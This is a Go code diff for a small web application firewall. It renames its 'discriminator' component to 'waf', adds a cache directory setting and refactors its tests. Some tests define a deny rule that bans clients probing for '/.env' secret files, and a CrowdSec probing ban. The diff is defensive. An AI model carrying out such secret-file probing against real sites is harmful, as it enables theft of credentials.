+// the lookup database and the state and cache files, then serves requests until
+// ctx is done. It returns the process's exit status, 1 when waf cannot start.
+func RunWAF(ctx context.Context, params Params) int {
 	// Until the settings are read, the one message is an invalid setting's
 	// error, which every SWW_LOG_LEVEL lets through.
 	processLog := requestlog.NewProcessLogger(params.Stdout,
@@ -111,9 +115,7 @@ func RunDiscriminator(ctx context.Context, params Params) int {
 
 	cfg, err := config.FromEnvironment(params.LookupEnv)
 	if err != nil {
-		processLog.Error("invalid setting", "error", err.Error())
-
-		return 1
+		return cannotStart(processLog, "invalid setting", err)
 	}
 
 	// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
@@ -127,13 +129,38 @@ func RunDiscriminator(ctx context.Context, params Params) int {
 		stdout = io.MultiWriter(params.Stdout, remote)
 	}
 
-	processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
+	processLog = requestlog.NewProcessLogger(
+		stdout,
+		cfg.InstanceName,
+		cfg.LogLevel,
+	)
 
 	if remote != nil {
 		stopSending := startSending(ctx, remote, processLog)
 		defer stopSending()
 	}
 
+	return runWAFWithSettings(
+		ctx,
+		params.Version,
+		cfg,
+		stdout,
+		remote,
+		processLog,
+	)
+}
+
+// runWAFWithSettings is the rest of RunWAF once the settings are read and
+// the process log goes where they say. remote is nil unless
+// SWW_LOG_REMOTE_URL is set.
+func runWAFWithSettings(
+	ctx context.Context,
+	version string,
+	cfg *config.Config,
+	stdout io.Writer,
+	remote *remotelog.Sender,
+	processLog *slog.Logger,
+) int {
 	// The state files and the alerts give times in UTC.
 	now := func() time.Time { return time.Now().UTC() }
 
@@ -146,23 +173,25 @@ func RunDiscriminator(ctx context.Context, params Params) int {
 		Alerts:     alertQueue,
 	})
 	if err != nil {
-		processLog.Error("cannot use the rule files", "error", err.Error())
-
-		return 1
+		return cannotStart(processLog, "cannot use the rule files", err)
 	}
 
-	crs, err := discriminator.NewCoreRuleSet(cfg)
+	crs, err := waf.NewCoreRuleSet(cfg)
 	if err != nil {
-		processLog.Error("cannot use the Core Rule Set", "error", err.Error())
-
-		return 1
+		return cannotStart(processLog, "cannot use the Core Rule Set", err)
 	}
 
-	server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
+	server, err := newServer(
+		cfg,
+		stdout,
+		processLog,
+		now,
+		ruleFiles,
+		alertQueue,
+		crs,
+	)
 	if err != nil {
-		processLog.Error("cannot use the lookup database", "error", err.Error())
-
-		return 1
+		return cannotStart(processLog, "cannot use the lookup database", err)
 	}
 
 	if remote != nil {
@@ -171,34 +200,53 @@ func RunDiscriminator(ctx context.Context, params Params) int {
 
 	files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
 	if err != nil {
-		processLog.Error("cannot use the state files", "error", err.Error())
-
-		return 1
+		return cannotStart(
+			processLog,
+			"cannot use the state and cache files",
+			err,
+		)
 	}
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
-
-		return 1
+		return cannotStart(
+			processLog,
+			"cannot listen on SWW_LISTEN_ADDR",
+			err,
+		)
 	}
 
 	processLog.Info("starting",
-		"version", params.Version,
+		"version", version,
 		"address", listener.Addr().String(),
 		"settings", cfg)
 
-	return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
+	return serve(
+		ctx,
+		server,
+		listener,
+		files,
+		ruleFiles,
+		alertQueue,
+		processLog,
+	)
 }
 
-// newServer returns the server discriminator runs, with the metrics of the alerts,
+// cannotStart logs why waf cannot start, and returns its exit status.
+func cannotStart(processLog *slog.Logger, message string, err error) int {
+	processLog.Error(message, "error", err.Error())
+
+	return 1
+}
+
+// newServer returns the server waf runs, with the metrics of the alerts,
 // after reading the lookup database while SWW_LOOKUP_SOURCE is file. A lookup
 // database that cannot be read is an error.
 func newServer(
 	cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
 	now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
 	crs *coreruleset.CoreRuleSet,
-) (*discriminator.Server, error) {
+) (*waf.Server, error) {
 	var lookupFile *lookup.File
 
 	if cfg.LookupSource == "file" {
@@ -215,7 +263,7 @@ func newServer(
 		}
 	}
 
-	server := discriminator.New(discriminator.Params{
+	server := waf.New(waf.Params{
 		Config:       cfg,
 		RequestLog:   stdout,
 		ProcessLog:   processLog,
@@ -230,20 +278,24 @@ func newServer(
 	server.Metrics.AddAlerts(alertQueue)
 
 	if lookupFile != nil {
-		server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
+		server.Metrics.AddLookupFile(
+			lookupFile.LastRead,
+			lookupFile.ReadFailures,
+		)
 	}
 
 	return server, nil
 }
 
-// loadStateFiles reads the state files into the parts of server and into
-// alertQueue, as state.Load does.
+// loadStateFiles reads the state and cache files into the parts of server and
+// into alertQueue, as state.Load does.
 func loadStateFiles(
-	cfg *config.Config, server *discriminator.Server, alertQueue *alerts.Queue,
+	cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
 	now func() time.Time, processLog *slog.Logger,
 ) (*state.Files, error) {
 	return state.Load(state.Params{
 		Dir:             cfg.StateDir,
+		CacheDir:        cfg.CacheDir,
 		WriteDelay:      cfg.StateWriteDelay,
 		CounterInterval: cfg.StateCounterInterval,
 		Ledger:          server.Ledger,
@@ -252,6 +304,7 @@ func loadStateFiles(
 		Lists:           server.Lists,
 		DNSBL:           server.DNSBL,
 		AbuseIPDB:       server.AbuseIPDB,
+		RouteWatch:      server.RouteWatch,
 		Alerts:          alertQueue,
 		Anomalies:       server.Anomalies,
 		Now:             now,
@@ -317,15 +370,15 @@ func startSending(
 	}
 }
 
-// serve serves requests on listener, writes the state files as they are
-// due, takes in an admin's edits of them, reads the rule files again as
+// serve serves requests on listener, writes the state and cache files as they
+// are due, takes in an admin's edits of them, reads the rule files again as
 // they change, and the lookup database when it is replaced, fetches the
 // lists the settings name by URL as they are due, and sends the alerts,
 // until ctx is done. Then it gives the requests in progress
-// shutdownTimeout to finish, and writes every state file, alerts.json with
-// the alerts still waiting.
+// shutdownTimeout to finish, and writes every state and cache file,
+// alerts.json with the alerts still waiting.
 func serve(
-	ctx context.Context, server *discriminator.Server, listener net.Listener,
+	ctx context.Context, server *waf.Server, listener net.Listener,
 	files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
 	processLog *slog.Logger,
 ) int {
@@ -393,7 +446,11 @@ func serve(
 
 	err = files.WriteAll()
 	if err != nil {
-		processLog.Error("writing the state files failed", "error", err.Error())
+		processLog.Error(
+			"writing the state and cache files failed",
+			"error",
+			err.Error(),
+		)
 
 		return 1
 	}

internal/sww/sww_internal_test.go

@@ -22,7 +22,10 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		took := stopHeldSender(t, time.Second)
 		if took != time.Second {
-			t.Errorf("the stop took %s, want the second the sender took", took)
+			t.Errorf(
+				"the stop took %s, want the second the sender took",
+				took,
+			)
 		}
 	})
 }
@@ -59,7 +62,10 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
 	sender := remotelog.New(remotelog.Params{
 		// No port is 65536, so each attempt to connect fails at once,
 		// before it reaches the network.
-		URL:    &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
+		URL: &url.URL{
+			Scheme: remotelog.SchemeTCP,
+			Host:   "127.0.0.1:65536",
+		},
 		Buffer: 1,
 	})
 

internal/sww/sww_test.go

@@ -20,9 +20,9 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/config"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
 	"sneak.berlin/go/smallwebwaf/internal/sww"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 const (
@@ -38,6 +38,7 @@ const (
 	stateDir             = "SWW_STATE_DIR"
 	stateWriteDelay      = "SWW_STATE_WRITE_DELAY"
 	stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
+	cacheDir             = "SWW_CACHE_DIR"
 	rateLimitPerDay      = "SWW_RATE_LIMIT_PER_DAY"
 	rateLimitExemptNets  = "SWW_RATE_LIMIT_EXEMPT_NETS"
 	rulesDir             = "SWW_RULES_DIR"
@@ -92,6 +93,35 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
 	return nil
 }
 
+// lineBeforeExit returns the first line whose msg is msg, waiting for it
+// while sww runs. It waits as long as that takes, so that a slow start
+// cannot fail the test, and fails the test if sww exits first.
+func (o *output) lineBeforeExit(
+	t *testing.T, msg string, exited <-chan int,
+) map[string]any {
+	t.Helper()
+
+	for {
+		fields := o.findLine(t, func(fields map[string]any) bool {
+			return fields["msg"] == msg
+		})
+		if fields != nil {
+			return fields
+		}
+
+		select {
+		case status := <-exited:
+			t.Fatalf(
+				"exit status %d while waiting for a line with msg %q; output:\n%s",
+				status,
+				msg,
+				o.text(),
+			)
+		case <-time.After(pollInterval):
+		}
+	}
+}
+
 // findLine returns the first line written so far for which matches is true, or
 // nil.
 func (o *output) findLine(
@@ -123,11 +153,11 @@ func (o *output) text() string {
 	return o.buf.String()
 }
 
-// run runs `sww discriminator` with the settings in env until ctx is done,
+// run runs `sww waf` with the settings in env until ctx is done,
 // and returns its exit status. SWW_LOOKUP_SOURCE is off unless env sets it,
 // so that no test sends GeoJS its clients' addresses.
 func run(ctx context.Context, env map[string]string, out *output) int {
-	return sww.RunDiscriminator(ctx, sww.Params{
+	return sww.RunWAF(ctx, sww.Params{
 		Version: testVersion,
 		LookupEnv: func(name string) (string, bool) {
 			value, ok := env[name]
@@ -135,6 +165,12 @@ func run(ctx context.Context, env map[string]string, out *output) int {
 				return "off", true
 			}
 
+			// The cache files go beside the state files unless the test
+			// says otherwise.
+			if !ok && name == cacheDir {
+				return env[stateDir], env[stateDir] != ""
+			}
+
 			return value, ok
 		},
 		Stdout: out,
@@ -195,7 +231,11 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
 func TestAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	taken, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -236,11 +276,12 @@ func TestServesUntilToldToStop(t *testing.T) {
 	}()
 
 	// The default rule file is read.
-	if rules := out.line(t, "msg", "read the rule files")["rules"]; rules != 12.0 {
+	readRules := out.lineBeforeExit(t, "read the rule files", exited)
+	if rules := readRules["rules"]; rules != 12.0 {
 		t.Errorf("read %v rules from the default rule file, want 12", rules)
 	}
 
-	starting := out.line(t, "msg", "starting")
+	starting := out.lineBeforeExit(t, "starting", exited)
 	wantStartingLine(t, starting, dir)
 
 	addr, _ := starting["address"].(string)
@@ -286,13 +327,17 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
 		}, out)
 	}()
 
-	out.line(t, "msg", "fetching a list failed")
+	out.lineBeforeExit(t, "fetching a list failed", exited)
 	stop()
 
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -446,7 +491,14 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
 	runUntilStopped(t, env, func(url string) {
 		path := filepath.Join(dir, "bans.json")
 
-		saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
+		saveUntilAnswered(
+			t,
+			path,
+			oneBan,
+			url,
+			"203.0.113.9",
+			http.StatusForbidden,
+		)
 		wantStatus(t, url, "198.51.100.7", http.StatusOK)
 		saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
 	})
@@ -535,12 +587,20 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
 	dir := t.TempDir()
 	path := filepath.Join(dir, "00-default.rules")
 
-	err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
+	err := os.WriteFile(
+		path,
+		[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
+		0o600,
+	)
 	if err != nil {
 		t.Fatalf("write the rule file: %v", err)
 	}
 
-	wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
+	wantRulesRefused(
+		t,
+		dir,
+		path+`, line 2: the action "bann" is not log, block or ban`,
+	)
 }
 
 func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -552,7 +612,9 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
 		": no such file or directory")
 }
 
-func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
+func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -653,27 +715,42 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
 		}
 
 		// One that cannot be read leaves the file read before in use.
-		err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
+		err := os.WriteFile(
+			replacement,
+			[]byte("not a lookup database\n"),
+			0o600,
+		)
 		if err != nil {
 			t.Fatalf("write %s: %v", replacement, err)
 		}
 
 		rename(t, replacement, path)
 
-		metrics := metricsWith(t, url+"_sww/metrics", token,
-			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
-		lastRead = seriesValue(t, metrics,
-			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
+		metrics := metricsWith(
+			t,
+			url+"_sww/metrics",
+			token,
+			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
+		)
+		lastRead = seriesValue(
+			t,
+			metrics,
+			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
+		)
 
 		wantStatus(t, url, placed, http.StatusOK)
 	})
 
-	if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
-		t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
+	if lastRead < float64(began.Unix()) ||
+		lastRead > float64(time.Now().Unix()) {
+		t.Errorf(
+			"the lookup database was last read at %v, want a time in the test",
+			lastRead,
+		)
 	}
 }
 
-func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T) {
+func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
 	t.Parallel()
 
 	const (
@@ -706,10 +783,11 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	t.Cleanup(server.Close)
 
 	torURL, dropURL := server.URL+torPath, server.URL+dropPath
-	dir := t.TempDir()
+	cache := t.TempDir()
 	env := map[string]string{
 		listenAddr:           localhost + ":0",
-		stateDir:             dir,
+		stateDir:             t.TempDir(),
+		cacheDir:             cache,
 		rulesDir:             t.TempDir(),
 		metricsToken:         token,
 		instanceName:         instance,
@@ -729,7 +807,7 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 
 	// Restarted with drop.txt named after it and the server answering, tor.txt
-	// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in reputation.json,
+	// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
 	// while drop.txt, never tried, is fetched at once. Lists are fetched in the
 	// order named, so once drop.txt refuses the client, tor.txt has had its turn.
 	failing.Store(false)
@@ -742,13 +820,13 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 	wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
 
-	if fetches := torFetches.Load(); fetches != 1 {
-		t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
+	if n := torFetches.Load(); n != 1 {
+		t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
 	}
 
 	// After another restart, with the server failing, the copy of drop.txt
-	// kept in reputation.json, its copyright line included, refuses the
-	// client from the first request.
+	// kept in lists.json, its copyright line included, refuses the client
+	// from the first request.
 	failing.Store(true)
 
 	out = runUntilStopped(t, env, func(url string) {
@@ -756,16 +834,16 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 	wantDeniedByList(t, out.line(t, "type", "request"), dropURL)
 
-	path := filepath.Join(dir, "reputation.json")
+	path := filepath.Join(cache, "lists.json")
 
-	kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
+	//nolint:gosec // a file in the test's directory
+	kept, err := os.ReadFile(path)
 	if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
-		t.Errorf("reputation.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
-			err)
+		t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
 	}
 }
 
-func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
+func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
 	t.Parallel()
 
 	const bouncerKey = "crowdsec-key-0123456789abcdef"
@@ -781,17 +859,21 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 			case down.Load():
 				w.WriteHeader(http.StatusServiceUnavailable)
 			default:
-				_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
-					`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
-					`"type": "ban", "value": "203.0.113.0/24"}]`)
+				_, _ = io.WriteString(
+					w,
+					`[{"duration": "4h0m0s", "origin": "crowdsec", `+
+						`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
+						`"type": "ban", "value": "203.0.113.0/24"}]`,
+				)
 			}
 		}))
 	t.Cleanup(engine.Close)
 
-	dir := t.TempDir()
+	dir, cache := t.TempDir(), t.TempDir()
 	env := map[string]string{
 		listenAddr:              localhost + ":0",
 		stateDir:                dir,
+		cacheDir:                cache,
 		rulesDir:                t.TempDir(),
 		"SWW_CROWDSEC_LAPI_URL": engine.URL,
 		"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
@@ -807,10 +889,14 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 	ban := onlyBan(t, dir)
 	if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
 		ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
-		t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
+		t.Errorf(
+			"bans.json holds %v, want the ban for crowdsec on %s",
+			ban,
+			placed,
+		)
 	}
 
-	// Restarted with the engine down, the copy kept in reputation.json bans
+	// Restarted with the engine down, the copy kept in lists.json bans
 	// another client in the netblock from its first request.
 	down.Store(true)
 
@@ -818,22 +904,28 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 		wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
 	})
 
-	// The key is in neither run's output, nor in a state file.
-	files := []string{"bans.json", "reputation.json", "clients.json"}
+	// The key is in neither run's output, nor in a state or cache file.
+	files := []string{
+		filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
+		filepath.Join(cache, "lists.json"),
+	}
 	shown := make([]string, 0, len(files)+2)
 	shown = append(shown, first.text(), second.text())
 
-	for _, name := range files {
-		data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
+	for _, path := range files {
+		data, err := os.ReadFile(path) //nolint:gosec // the test's
 		if err != nil {
-			t.Fatalf("read %s: %v", name, err)
+			t.Fatalf("read %s: %v", path, err)
 		}
 
 		shown = append(shown, string(data))
 	}
 
 	if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
-		t.Errorf("the key is shown in the output or the state files:\n%s", all)
+		t.Errorf(
+			"the key is shown in the output or the state and cache files:\n%s",
+			all,
+		)
 	}
 }
 
@@ -845,7 +937,11 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
 	reputation, _ := line["reputation"].([]any)
 	if line["action"] != "client_denied" || len(reputation) != 1 ||
 		reputation[0] != listURL {
-		t.Errorf("request log line %v, want one denied for %s", line, listURL)
+		t.Errorf(
+			"request log line %v, want one denied for %s",
+			line,
+			listURL,
+		)
 	}
 }
 
@@ -880,7 +976,11 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
 func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
 	t.Parallel()
 
-	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	endpoint, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -935,7 +1035,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 	// The endpoint takes connections and never answers, so the TLS
 	// handshake of each waits on it, and no line is ever sent.
-	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	endpoint, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -971,7 +1075,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 		const dropped = "\nsww_remote_log_lines_dropped_total" +
 			`{instance="fsn1app1/blog"} `
-		if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
+		if strings.Contains(metrics, dropped+"0\n") ||
+			!strings.Contains(metrics, dropped) {
 			t.Errorf("no line dropped in the metrics:\n%s", metrics)
 		}
 
@@ -997,7 +1102,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 	// too.
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != instance {
-		t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
+		t.Errorf(
+			"start logged with instance %v, want %s",
+			line["instance"],
+			instance,
+		)
 	}
 }
 
@@ -1028,10 +1137,14 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 		wantRefused(t, url+".env")
 
 		post := webhook.waitFor(t, "ban", true)
-		if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
+		if post.alert["client"] != localhost ||
+			post.alert["netblock"] != localhost+"/32" ||
 			post.authorization != "Bearer "+adminSecret {
-			t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
-				post.authorization)
+			t.Errorf(
+				"the webhook was sent %v, with Authorization %q",
+				post.alert,
+				post.authorization,
+			)
 		}
 
 		// The webhook fails, so the alert for the ban made permanent by the
@@ -1043,24 +1156,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 
 	// alerts.json keeps it as sww stops, and once started again,
 	// sww sends it.
-	var file struct {
-		Waiting map[string][]struct {
-			Event string `json:"event"`
-		} `json:"waiting"`
-	}
-
-	path := filepath.Join(dir, "alerts.json")
-
-	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
-	if err == nil {
-		err = json.Unmarshal(data, &file)
-	}
-
-	waiting := file.Waiting["webhook"]
-	if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
-		t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
-			"the webhook", data, err)
-	}
+	wantPermanentBanAlertWaiting(t, dir)
 
 	// It counts the alert sent in the metrics, read here from a client the
 	// ban does not cover.
@@ -1092,6 +1188,37 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 	})
 }
 
+// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
+// alert waiting for the webhook, the permanent_ban alert.
+func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
+	t.Helper()
+
+	var file struct {
+		Waiting map[string][]struct {
+			Event string `json:"event"`
+		} `json:"waiting"`
+	}
+
+	path := filepath.Join(dir, "alerts.json")
+
+	//nolint:gosec // a file in the test's directory
+	data, err := os.ReadFile(path)
+	if err == nil {
+		err = json.Unmarshal(data, &file)
+	}
+
+	waiting := file.Waiting["webhook"]
+	if err != nil || len(waiting) != 1 ||
+		waiting[0].Event != "permanent_ban" {
+		t.Fatalf(
+			"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
+				"the webhook",
+			data,
+			err,
+		)
+	}
+}
+
 func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 	t.Parallel()
 
@@ -1129,7 +1256,8 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
 		slackPost := slack.firstPost(t)
 		err := json.Unmarshal([]byte(slackPost.body), &message)
 
-		if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
+		if err != nil ||
+			!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
 			!strings.Contains(message.Text, "\nclient: "+client+"\n") {
 			t.Errorf("Slack was sent %s", slackPost.body)
 		}
@@ -1164,14 +1292,22 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
 
 	dir := t.TempDir()
 
-	err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
+	err := os.WriteFile(
+		filepath.Join(dir, "bans.json"),
+		[]byte("{\n"),
+		0o600,
+	)
 	if err != nil {
 		t.Fatalf("write bans.json: %v", err)
 	}
 
 	// The file ends at the newline that is the second byte of its first
 	// line.
-	wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
+	wantStartRefused(
+		t,
+		dir,
+		filepath.Join(dir, "bans.json")+", line 1, column 2: ",
+	)
 }
 
 func TestUnwritableStateDirStopsTheStart(t *testing.T) {
@@ -1181,6 +1317,29 @@ func TestUnwritableStateDirStopsTheStart(t *testing.T) {
 		"SWW_STATE_DIR cannot be written: ")
 }
 
+func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	ctx, stop := context.WithTimeout(t.Context(), waitLimit)
+	defer stop()
+
+	out := &output{}
+
+	status := run(ctx, map[string]string{
+		listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
+		cacheDir: filepath.Join(t.TempDir(), "missing"),
+	}, out)
+	if status != 1 {
+		t.Fatalf("exit status %d, want 1", status)
+	}
+
+	line := out.line(t, "msg", "cannot use the state and cache files")
+	if message, _ := line["error"].(string); !strings.HasPrefix(message,
+		"SWW_CACHE_DIR cannot be written: ") {
+		t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
+	}
+}
+
 // wantStartRefused runs sww with its state files in dir, and
 // checks that it stops at start, with an error that starts with want. If
 // it starts instead, it is stopped after waitLimit.
@@ -1199,11 +1358,15 @@ func wantStartRefused(t *testing.T, dir, want string) {
 		t.Fatalf("exit status %d, want 1", status)
 	}
 
-	line := out.line(t, "msg", "cannot use the state files")
+	line := out.line(t, "msg", "cannot use the state and cache files")
 	message, _ := line["error"].(string)
 
 	if !strings.HasPrefix(message, want) {
-		t.Errorf("start refused with %q, want an error starting %q", message, want)
+		t.Errorf(
+			"start refused with %q, want an error starting %q",
+			message,
+			want,
+		)
 	}
 }
 
@@ -1245,7 +1408,7 @@ func startApp(t *testing.T) string {
 	return app.URL
 }
 
-// runUntilStopped runs `sww discriminator` with the settings in env, has use
+// runUntilStopped runs `sww waf` with the settings in env, has use
 // send it requests at url, then stops it as SIGTERM does, checks that it
 // stopped in order, and returns its output.
 func runUntilStopped(
@@ -1261,14 +1424,18 @@ func runUntilStopped(
 		exited <- run(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 	use("http://" + addr + "/")
 	stop()
 
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -1310,7 +1477,12 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
 
 	for name, value := range want {
 		if settings[name] != value {
-			t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
+			t.Errorf(
+				"starting line gives %s=%v, want %v",
+				name,
+				settings[name],
+				value,
+			)
 		}
 	}
 
@@ -1319,7 +1491,7 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
 	}
 }
 
-// wantAllowed checks that discriminator at url allows a request from localhost.
+// wantAllowed checks that waf at url allows a request from localhost.
 func wantAllowed(t *testing.T, url string) {
 	t.Helper()
 
@@ -1350,7 +1522,11 @@ func messages(t *testing.T, received string) []string {
 
 		_, message, ok := strings.Cut(record, header)
 		if !ok || !strings.HasPrefix(record, "<134>1 ") {
-			t.Fatalf("record %q, want priority <134> and header %q", record, header)
+			t.Fatalf(
+				"record %q, want priority <134> and header %q",
+				record,
+				header,
+			)
 		}
 
 		found = append(found, message+"\n")
@@ -1415,7 +1591,10 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
 	t.Helper()
 
 	for line := range strings.Lines(metrics) {
-		value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
+		value, found := strings.CutPrefix(
+			strings.TrimSpace(line),
+			series+" ",
+		)
 		if !found {
 			continue
 		}
